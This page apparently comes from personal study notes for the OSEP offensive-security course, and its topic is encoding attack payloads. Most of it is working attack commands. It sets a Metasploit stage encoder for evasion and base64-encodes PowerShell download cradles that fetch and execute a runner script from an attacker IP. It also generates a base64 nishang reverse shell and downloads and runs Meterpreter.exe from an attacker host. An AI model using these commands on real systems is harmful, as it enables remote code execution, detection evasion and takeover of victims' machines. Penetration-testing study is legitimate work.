> For the complete documentation index, see [llms.txt](https://steffinstanly.gitbook.io/osep-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://steffinstanly.gitbook.io/osep-notes/osep/metasploit-payload-and-listener/encoder.md).

# Encoder

### Msf Payload Encoding

```
set enablestageencoding true
set stageencoder x64/zutto_dekiru
```

### Encode PowerShell payload

* Windows

```
[system.convert]::tobase64string([system.text.encoding]::unicode.getbytes('IEX ((new-object net.webclient).downloadstring("http://192.168.x.y/runner.txt"))'))
```

* Linux

```
echo -en 'IEX ((new-object net.webclient).downloadstring("http://192.168.x.y/runner.txt"))' | iconv -t UTF-16LE | base64 -w 0
```

### To generate TCP nishang reverse shell into base64&#x20;

[Link to the script](https://gist.github.com/tothi/ab288fb523a4b32b51a53e542d40fe58)

```
python3 revshell-base64.py 1.1.1.1 443
```

### Powershell - Base64 encoder

```
$command = "Invoke-WebRequest -Uri http://192.168.1.1/Meterpreter.exe -Outfile C:\Users\Public\Meterpreter.exe; C:\Users\Public\Meterpreter.exe"
$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
Write-Host $encoded
```
